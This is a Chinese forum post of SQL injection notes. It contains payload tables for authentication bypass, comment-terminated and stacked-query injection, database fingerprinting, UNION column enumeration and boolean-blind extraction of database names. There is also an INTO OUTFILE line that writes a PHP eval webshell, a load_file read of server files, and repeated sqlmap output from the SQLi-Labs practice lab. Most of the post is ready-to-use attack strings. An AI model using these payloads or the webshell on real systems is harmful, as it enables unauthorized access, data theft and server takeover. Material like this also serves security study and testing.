SQLi(持续更新)

本贴最后更新于 1945 天前,其中的信息可能已经时移世改

POST 注入是不用再编码的,GET 方法在 URL 中进行编码

URL 最大长度为 2048 字节

SQL 注入产生过程

  1. 转义字符处理不当

SQL 数据库将单引号(')解析成数据与代码的分界,也就是说单引号包裹的是数据,外面的是代码。如果在 URL 或 Web 页面中输入单引号,可以快速识别是否存在注入

单引号并不是唯一的转义字符,比如 Oracle 中,空格(||),逗号(,),点号(.),(*/),双引号(")

  1. 类型处理不当

处理数字数据时候,不需要用引号闭合,否则数字数据会被当作字符串处理

  1. 查询集处理不当

  2. 错误处理不当

web 服务器在呈现请求的 web 源时,如果发现错误会返回状态码 500,但有时候会 302 重定向到一些固定页面

'+'是 URI 的保留字,需要进行编码,encode 为:%2B

内联注入

是指向查询注入一些 SQL 代码后,原来的查询仍然会全部执行

  1. 字符串内联注入
  • 假设这是一个身份验证的表单

username

password


假设该查询为以下格式:


SELECT *

FROM Admin

WHERE username = '[username]' AND passwd = 'passwd';

向 username 输入一个单引号,单击提交后,若返回下列错误:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line1

这说明这个表单存在 SQL 注入,上面的输入构造的 SQL 语句为:


SELECT *

FROM Admin

WHERE username = ''' AND passwd = '';

现在构造一条 SQL 语句,以绕过验证;在 username 中输入'OR '1'='1,password 保持空,输入构造的 SQL 语句为:


SELECT *

FROM Admin

WHERE username = '' OR '1'='1' AND passwd = '';

但是这条语句不会返回所有字段,因为 AND 比 OR 优先级高,所以需要修改一下


SELECT *

FROM Admin

WHERE (username = '') OR ('1'='1') OR ('1'='1' AND passwd = '');

修改后的 SQL 语句保持 WHERE 子句条件永真,

如果想要返回 username=administrator 的记录行,SQL 语句为:


SELECT *

FROM Admin

WHERE username = 'administrator' AND 1 = 1 OR '1'='1' AND passwd = '';

字符串内联注入的特征值

测试字符串 变种 预期结果
' 触发错误。如果成功,数据库返回错误信息
1' OR '1'='1 1') OR ('1'='1 永真条件,如果成功,将返回表中所有行
value' OR '1'='2 value') OR ('1'='2 空条件,如果成功,将会返回和原来语句一样的结果
1' AND '1'='2 1') AND ('1'='2 永假条件,如果成功,将不返回表中所有行
1' OR 'ab'='a'+'b 1') OR ('ab'='a'+'b SQL Server 字符串连接。如果成功,将返回与永真条件相同的信息
1' OR 'ab'='a' 'b 1') OR ('ab'='a' 'b MySQL 字符串连接。如果成功,将返回与永真条件相同的信息
`1' OR 'ab'='a' 'b`
2. 数字内联注入

注入数字时不用加单引号

数字内联注入特征值

测试字符串 变种 预期结果
' 触发错误。如果成功,数据库返回错误信息
1+1 3-1 如果成功,将返回与操作结果相同的值
value+0 如果成功,将返回与操作结果相同的值
1 OR 1=1 1) OR (1=1 永真条件。如果成功,将返回表中所有行
value OR 1=2 value) OR (1=2 空条件,如果成功,将会返回和原来语句一样的结果
1 AND 1=2 1) AND (1=2 永假条件,如果成功,将不返回表中所有行
1 OR 'ab'='a'+'b 1) OR ('ab'='a'+'b SQL Server 字符串连接。如果成功,将返回与永真条件相同的信息
1 OR 'ab'='a' 'b 1) OR ('ab'='a' 'b MySQL 字符串连接。如果成功,将返回与永真条件相同的信息
`1 OR 'ab'='a' 'b`

终止式注入

注入 SQL 代码时,通过将原查询语句的剩余部分注释掉,从而成功结束原来的查询语句

  1. 数据库注释
数据库 注释 描述
SQL Server,Oracle,PostgreSQL --(双连字符) 用于单行注释
SQL Server,Oracle,PostgreSQL /* */ 用于多行注释
MYSQL --(双连字符) 用于单行注释,第二个连字符后面需要加一个空格或控制字符(制表符、换行符)
MYSQL # 用于单行注释
MYSQL /* */ 用于多行注释
  • 防止 SQL 注入的技术有:从最开始位置检测,清除用户输入中的所有空格,截短输入的值。可以使用多行注释来绕过这些限制(避免使用空格)

假设一个请求:http://localhost/main.php?id=2/*hello*/

如果该请求正常返回且得到与 id=2 相同的结果,即数据库忽略了注释内容,说明可能存在 SQL 注入

  1. 使用注释终止 SQL 语句

username

password


该查询为以下格式:


SELECT *

FROM Admin

WHERE username = '[username]' AND passwd = 'passwd';

  • 只向 username 字段注入代码并终止该语句,注入:' OR 1=1;--;构造的 SQL 语句为:

SELECT *

FROM Admin

WHERE username = '' OR 1=1;-- AND passwd ='';

由于'1=1'为永真条件,该语句返回 Admin 表中的所有行,而且注释掉后半部分,有时候无法使用使用(--),因为可能对他进行了过滤,也可能在注释过程中产生了错误,这时使用多行注释(/* */)来替换(--)

  • 使用多行注释

对 username 字段和 password 字段分别注入 admin'/**/',构造的 SQL 语句为:


SELECT *

FROM Admin

WHERE username = 'admin'/* AND passwd = '*/''

等同于:SELECT * FROM Admin WHERE username = 'admin''';

数据库的连接运算符

数据库 实例
SQL Server 'a'+'b'='ab'
MySQL 'a' 'b'='ab'
Oracle 和 PostgreSQL `'a'

可以用以上几种方法辨别应用为哪种数据库

  1. 原始请求:http://localhost/main.php?user=root --

  2. SQL Server http://localhost/main.php?user=ro' + 'ot --

  3. MYSQL http://localhost/main.php?user=ro' 'ot --

  4. Oracle 和 PostgreSQL http://localhost/main.php?user=ro'||'ot --

使用数据库注释时常用的特征值

测试字符串 变种 预期结果
admin'-- admin')-- 通过返回数据库中的 admin 行来绕过验证
admin'# admin')# MYSQL 通过返回数据库中的 admin 行来绕过验证
1-- 1)-- 注释掉剩下的查询,希望能够清除可注入参数后面 WHERE 子句指定的过滤
1 OR 1=1-- 1) OR 1=1-- 注入一个数字参数,返回所有行
' OR '1'='1'-- ') OR '1'='1'-- 注入一个字符串参数,返回所有行
-1 AND 1=2-- -1) AND 1=2 注入一个数字参数,不返回任何行
' AND '1'='2'-- ') AND '1'='2'-- 注入一个字符串参数,不返回任何行
1 /*注释*/ 将注入注释掉。如果成功,将不会对请求产生任何影响。有助于识别 SQL 注入
  1. 执行多条 SQL 语句

如果终止了一条 SQL 语句,就可以创建一条新的没有限制的 SQL 语句

用于注入多条 SQL 语句的特征值

测试字符串 变种 预期结果
';[SQL Statement];-- );[SQL Statement];-- 注入一个字符串参数,执行多条语句
';[SQL Statement];# ');[SQL Statement];# MYSQL 注入一个字符串参数,执行多条语句
;[SQL Statement];-- );[SQL Statement];-- 注入一个数值参数,执行多条语句
;[SQL Statement];# );[SQL Statement];# MYSQL 注入一个数值参数,执行多条语句
  1. 延迟注入

当在进行 SQL 盲注的过程中,经常会不确定是否存在漏洞,有时候 Web 应用不会返回任何错误,无法检索任何数据,这时候为了识别漏洞,需要向数据库注入时间延迟,并且检查服务器端响应是否也产生了延迟

获取数据库 flag

查询各种数据库的版本

数据库 查询语句
MS SQL Server SELECT @@VERSION
MySQL SELECT version() , SELECT @@VERSION
Oracle SELECT banner FROM v$version SELECT banner FROM v$version WHERE rownum=1
PostgreSQL SELECT version()

使用 UNION 语句

满足的条件:

  1. 两个查询返回的列数必须相同

  2. 两个查询对应列的数据类型相同或兼容

如果不满足这两个条件,数据库则会返回错误,根据返回语句的不同,我们可以分辨其数据库类型

可以用 ORDER BY 子句 + 数字参数,例如 ORDER BY 6 来测试列数

  • 尝试 ORDER BY 6,若不返回错误,说明列数 >6

  • 尝试 ORDER BY 14,若返回错误,说明 8< 列数 <14

以此类推该二分法,即可推断出列数。

选用 ORDER BY 6 子句的原因是因为他在服务器日志留下的痕迹更小

不同数据库将任意数据转换为字符串

数据库 语句
MS SQL Server SELECT CAST('111' AS varchar)
MySQL SELECT CAST('111' AS char)
Oracle SELECT CAST(111 AS varchar) FROM dual
PostgreSQL SELECT CAST(111 AS text)
PostgreSQL 允许非字符串变量连接字符串 `(

导出数据库

SELECT '<?php eval($_POST[cmd])?>' into outfile '物理地址'

读文件

load_file(0x23213213213) //支持 16 进制

select load_file(c:\a.txt);

(#)HTML 中为锚点

在 SQL 注入中使用注释符'#'会被认为是锚点,需要进行 URL 编码'%23'

布尔注入

  • 函数

mid(str,1,3) 字符串截取

ORD(s) 转换为 ASCII 码

length(s) 字节数

version() 数据库版本

database() 数据库名

user() 查看当前用户

  1. 布尔注入得到数据库名称长度: username=1' or length(database())>1 # &passwd='22222';,username=1' or length(database())>2 # &passwd='22222',username=1' or length(database())>3 # &passwd='22222'......以此类推得到数据库名称长度

  2. 布尔注入进行字符串截取确认每一个字符: username=1' or ORD(mid(database(),1,1))>1 # &passwd='22222';, username=1' or ORD(mid(database(),1,1))>2 # &passwd='22222';, username=1' or ORD(mid(database(),1,1))>3 # &passwd='22222';......以此类推确认第一个字符; username=1' or ORD(mid(database(),2,1))>1 # &passwd='22222';......确认第二个字符......最终得到数据库名称

  3. 获取表的总数: select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database();

  4. 获取表名长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit a,b;

  • 获取第一个表的长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

  • 获取第二个表的长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;

  1. 获取表内容: select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database();

  2. 获取字段总数: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit a,b;

  • 获取第一个字段长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit 0,1;

  • 获取第二个字段长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit 1,1;


使用 SQLMAP 注入 SQL Lab 下 sqli/Less-1 的结果


sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1''' AND 6967=6967 AND 'obIw'='obIw

  

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1''' AND (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wBLF'='wBLF

  

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1''' AND (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg

  

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-6117' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c61777045705979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)--

---

web application technology: Apache 2.4.39, PHP 7.2.18

back-end DBMS: MySQL >= 5.0

current database: 'security'

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1''' AND 6967=6967 AND 'obIw'='obIw

  

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1''' AND (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wBLF'='wBLF

  

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1''' AND (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg

  

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-6117' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c61777045705979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS

---

web application technology: Apache 2.4.39, PHP 7.2.18

back-end DBMS: MySQL >= 5.0

current database: 'security'

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1''' AND 6967=6967 AND 'obIw'='obIw

  

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1''' AND (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wBLF'='wBLF

  

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1''' AND (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg

  

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-6117' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c61777045705979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS

---

web application technology: Apache 2.4.39, PHP 7.2.18

back-end DBMS: MySQL >= 5.0

current database: 'security'

  • SQL
    126 引用 • 381 回帖 • 3 关注

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...